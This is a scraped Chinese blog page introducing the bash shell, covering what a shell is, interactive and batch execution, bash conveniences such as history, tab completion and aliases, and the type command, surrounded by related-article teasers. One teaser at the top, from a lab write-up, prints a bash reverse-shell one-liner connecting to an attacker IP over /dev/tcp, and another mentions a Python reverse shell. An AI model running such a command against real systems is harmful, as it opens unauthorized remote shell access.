认识bash 这个Shell

Linux之bash反弹shell原理浅析 环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 ... 阅读详情
Shell :将我们输入的命令与内核通信,好让内核可以控制硬件来正确无误的工作。
Shell 本身是一个用C语言编写的程序,用户的大部分工作都是通过Shell来完成的。
Shell的功能只是提供用户操作系统的一个接口。

狭义的Shell指的是命令行方面的软件,包括linux默认的bash.广义的Shell则包括图形界面的软件,因为图形界面其实也能够操作各种应用程序来调用内核工作。


可以说Shell使用的熟练程度反应了用户对Unix/Linux使用的熟练程度。

Shell 初学者注意:在平常应用中,建议不要用root账号运行Shell。作为普通用户都无法破坏系统;但如果是root,只要敲几个字母,就可能导致灾难性的后果。


Shell有两种执行命令的方式:
   1.交互式(命令行界面的Shell):解释执行用户的命令,用户输入一条,Shell就解释一条。
   2.批处理:用户事先写一个Shell脚本(Script),其中有很多条命令,让Shell一次把这些命令执行完,而不必一条一条地敲。


注意:Shell脚本与编程语言很相似,也有变量和流程控制语句,但Shell脚本是解释执行的,不需要编译。


Shell是一种脚本语言,就必须有解释器来执行这些脚本。Linux上的脚本解释器有 bash,ksh,csh,zsh等。bash的内部命令共有40个。
   ???为什么要使用bash作为默认的Shell呢???
命令记忆能力(history):默认的命令记忆功能可以到达1000个,记录在主文件内的 .bash_history中;
命令与文件补全功能(Tab);
命令别名设置功能(alias);
作业控制,前台,后台控制;
通配符(*,?);
包含了自身的帮助功能;
可通过方向键快速查找和修改命令。


bash 已经“内置”了很多命令,例如 cd ,那我们怎么知道这个命令是来自外部命令(指的是其他非bash所提供的命令)或是内置在bash当中的呢?  
答案:使用type 命令
语法:type [-tpa] name
参数:
type:不加任何参数时,type会显示name是外部命令还是bash 内置命令
-t  :type会以下面这些字眼显示出它的意义:
file   :表示为外部命令
alias  :表示该命令为命令别名所设置的名称
builtin:表示该命令为bash内置的命令功能。
-p  :如果后面接的name为外部命令时,才会显示完整文件名。
-a  :会由PATH变量定义的路径中,将所有含name 的命令都列出来,包括alias


范例:
Bash Shell编程基础 转载请注明出处:http://blog.youkuaiyun.com/u012842205/article/details/79584275一、Shell是什么1)Shell是操作系统提供的,供用户调用的操作接口。分命令行调用接口(CLI)和图形用户接口(GUI)。2)在Unix历史中,Shell作为系统的命令行调用接口,以独立的程序实现。3)早期的Shell提供了一些基本特性,供用户使用。功能逐渐完善,发展... 阅读详情

相关推荐

ESXI 7 :创建统信V20_1050d服务器系统虚拟机

记录一下在 X86 架构创建统信V20_1050d 虚拟机遇到的问题。已遇到的问题有①:常规服务器环境下网络连接失败重点:按照桌面版本,有问题处理简单。

guyuelin123的博客 1967

【Linux】-- 认识bash shell

一、前言   我们知道管理整个计算机硬件的其实是系统的内核,这个内核是需要被保护的,所以我们一般用户就只能通过shell来跟内核通信,以让内核达到我们所想要达到的工作。那么Linux系统有多少shell可用呢?为什么我们要使用shell?下面分别来谈一谈。 二、什么是shell?   要弄明白shell是什么,首先要弄明白硬件、内核与shell的关联,如下图:        操作系统...

weixin_30564901的博客 157

软件各项会议评审意见模版

读梅老师主编的书,觉得评审意见模板很有参考价值和实用价值,帮梅老师安利一波,顺便记一下笔记。 《系统/子系统规格说明》评审意见模板 20XX年XX月XX日,XXX(主管机关)在XXX(会议地点)主持召开了“《XXX(产品名称)系统规格说明》评审会”。参加会议的有XXX机关,XXX院校,XXX研究所共XX名代表(名单见附件1),会议成立了评审组(名单见附件2),听取了XXX(单位)做的《XXXX报告》。经讨论质询,形成评审意见如下: 系统规格说明对系统的研制目标和范围、工作状态、运行方式以及所要满足的能力需

赵星汉同学的博客 1万+

7、认识bashshell

本文要点: 一、介绍Shell 二、Shell的变量功能 三、命令别名与历史命令 四、Bash Shell使用环境 五、数据流重定向 六、管道命令(pipe)

子牙君的博客 435

Python + Google AI 自动修复 Sonar Bug 实践

在工作中总会遇到种种不期而至的需求,比如前段时间突然要修复所有 Sonar Bug,涉及各种琐碎的代码风格问题,包括但不限于语法不规范、废弃注释等问题。这些项目都已经持续开发几年了,Sonar 上的问题层出不穷,各种问题已经累积到了上万个,手动修复不但费时费力,而且过程异常枯燥。

子洋 Blog 2414

NLP自然语言处理:神经网络语言模型(NNLM)

目录 一、传统语言模型 1.1 稀疏性 1.2泛化能力差 二、神经网络语言模型 2.1 前馈神经网络模型(FFLM) 2.2 循环神经网络模型(RNNLM) 2.2.1循环神经网络模型示例 2.2.2RNN语言模型训练过程 2.2.3RNN语言模型反向传播 2.2.4语言模型评估 语言模型的构建目的是为了对语言中的各要素的分布进行估计,具有较长的研究历史和广泛...

陈宸的博客 1万+

认识 BASH Shell

认识 BASH Shell

ffghggf的博客 392

可变形卷积(Deformable Conv)原理解析与torch代码实现

图6为可变形卷积示意图。图1所示为普通卷积在输入特征图上进行卷积计算的过程,卷积核大小为3*3,在输入特征图尺寸为7*7上进行卷积,将卷积核权重与输入特征图对应位置元素相乘并求和得到输出特征图元素,按一定方式滑动窗口就能计算得到整张输出特征图。图6所示,在input feature map上普通卷积操作对应卷积采样区域是一个卷积核大小的正方形(绿框),而可变形卷积对应的卷积采样区域为一些蓝框表示的点,这就是可变形卷积与普通卷积的区别。先来一张图感受一下,图3为标准卷积与可变形卷积的卷积示例。

panghuzhenbang的博客 5万+

认识bash shell

认识bash shell(转自《鸟哥的Linux私房菜–基础篇》)文字模式 (command line) 这种指令下达的方式,在 Linux 里面,其实就相当于是 bash 的工具与接口! 因为 Linux 就是以 bash 为预设的 shell 的!那么前几章我们都已经很快乐的进行了很多的指令下达啰~ 所以说, bash shell 根本就不难吧~是啦!只要能够熟悉的话,那么确实他也不是这么不可亲

vim_wj的博客 665

中国高质量夜间灯光数据

中国高质量夜间灯光数据是CnOpenData与吉林高分遥感应用研究院有限公司合作的数据库 ,基于多源夜间灯光卫星遥感影像,经过科学手段对数据进行降噪、修正、分析统计,以年度、月度为更新频率,以省市县三级行政区划作为统计单元,制作高质量夜间灯光数据。

Sunny9qx的博客 3307

二、NovAtel Connect 2.3.2 版本 操作说明

一、连接方式 有 串口连接、USB连接、蓝牙连接、无线网连接、网口连接,具体的连接方式看博客: https://blog.youkuaiyun.com/hltt3838/article/details/110622732 下面具体的介绍一下 串口的连接方式: 接收机有三个串口,COM1、COM2、COM3,看上面的连接就知道了! 并且有三个对应的线,1 2 3 ; 把线和串口对应连接,串口的另一端和电脑连接,当然如果电脑没有串口,可以用 串口转USB,如线图所示: (当然,一定要连接电源呀) ...

努力努力努力 4382

Linux---认识与学习BASH

变量的取用:echo 变量的设定,注意不能有空格 在变量后面+ok 若该发量需要在其他子程序执行,则需要以 export 来使变量变成环境发量: 打印失败: 打印成功: 进入目前核心模块目录 取消name设定的变量内容 查看shell的进程ID 查看系统支持的语系编码 读取用户输入内容,并变为test变量 提是用户30秒内输入自己的名字,并变为name变量 -p 后面接

新博客:https://aping-dev.com/ 554

hwasan实例分析踩内存之七:CamX进程chifeature2base怪异的Cause: use-after-free

摘要:本文分析了高通camx进程中的指针异常crash问题,通过构建hwasan版本确认存在内存踩踏现象。日志显示为"use-after-free"类型错误,具体为线程T175672在已释放内存区域执行写入操作。堆栈分析表明ChiFeature2Base::PipelineDestroyCb()函数访问了已被ChiFeature2Base::DestroyFeatureData()释放的pPipelineData对象。该问题源于多线程环境下内存管理不同步,导致释放后仍被引用。解决方案通过

1073

Bash反弹shell

机器名称机器IP攻击机器实验靶机Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语 言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动 态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本 的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。python反弹shell介绍python2s.connect(("攻击机器IP",端口));机器名称。

qq_64177395的博客 1458

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Bash和Shell

Bash和Shell同为命令行解释器,二者的区别。

m0_64196863的博客 1160

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

Shell与Bash

shell是一个命令语言解释器,是用户和Linux内核之间的接口程序,用户在提示符下输入的每个命令都由shell先解释然后再传给Linux内核(如图)。当用户成功登入系统后shell就启动了,并始终作为你与系统内核的交互手段直至你退出系统。Bash(Bourne Again shell )是目前最常用的一种shell,也是当前大多数Linux发行版的默认Shell。除此之外还有Bourne shell (sh), C shell (csh), 和 Korn shell (ksh)等。

weixin_72517329的博客 3593

shell以及shell与bash的关系

1. 什么是shell shell是你(用户)和Linux(或者更准确的说,是你和Linux内核)之间的接口程序。你在提示符下输入的每个命令都由shell先解释然后传给Linux内核。 shell 是一个命令语言解释器(command-language interpreter)。拥有自己内建的 shell 命令集。此外,shell也能被系统中其他有效的Linux 实用程序和应用程序(utilities and application programs)所调用。 不论何时你键入一个命令,它都被Linux sh

sally的jerry 1147

什么是Bash、什么是shell?

什么是Shell? shell是用户和Linux(或者更准确的说,是用户和Linux内核)之间的接口程序。你在提示符下输入的每个命令都由shell先解释然后传给Linux内核。 shell 是一个命令语言解释器(command-language interpreter)...

程序猿进化梯 1373

【Linux】Linux Bash Shell 教程

Linux bash(Bourne-Again SHell)是一种为GNU操作系统编写的命令行解释器,它是大多数Linux发行版中最常用的shell。Bash提供了一种强大的方式来控制和管理操作系统,支持命令历史记录、别名、管道、重定向、变量、条件判断、循环以及自定义脚本编写等功能,使得用户能够通过简单的命令行指令执行复杂的任务,是系统管理员和开发人员日常工作中的得力工具。

Young_Pro的博客 2503

Bash Shell Shell脚本的关系_bash脚本和shell脚本的区别

常见的 Shell 有 sh、bash、csh、tcsh、ash 等。其中bash shell 是 Linux 的默认 shell。即BASH是shell的一种。

2401_87555493的博客 590

Bash和shell

一、什么是shell,什么是bash? 管理计算机硬件的其实是内核,用户正是通过shell来跟内核通信的,从本质上说shell是一个能执行各种命令的宏处理器。而bash(/bin/bash)就是linux默认的shell。 ...

myp的博客 9353

Shell、Bash、Zsh这都是啥啊

一文了解Shell、Bash、Zsh

小白码上飞 7595

Linux:bash和shell

摘要: Bash(Bourne-Again Shell)是Linux中最常用的shell程序,作为用户与内核交互的翻译器,将命令转换为二进制指令并返回结果。Shell是运行在终端的文本互动程序,除Bash外还有sh、zsh等类型。Bash继承了sh的功能并增强,支持更友好的用户界面和编程接口。其常见命令包括cd、kill、export等,并内置变量如PATH(搜索路径)、HOME(用户目录)等,简化操作。Bash因其高效性和扩展性成为Linux默认Shell的首选。

chenxandy_123的博客 1540

Shell 和 Bash 是一家人,但真的不一样: 深入理解 Bash 和 Shell 的区别与联系

你是否曾经在终端里敲过命令,却从未想过背后是谁在默默执行你的指令?今天,我们就来聊聊命令行世界的两位“大佬”:Shell 和 Bash。它们看起来很像,但其实各有各的“绝活”!

大葱的田地🌱 1985
上一篇: 程序设计语言
下一篇: 变量+shell变量(1)
Tanswer_
博客等级 码龄11年 231粉丝 91原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值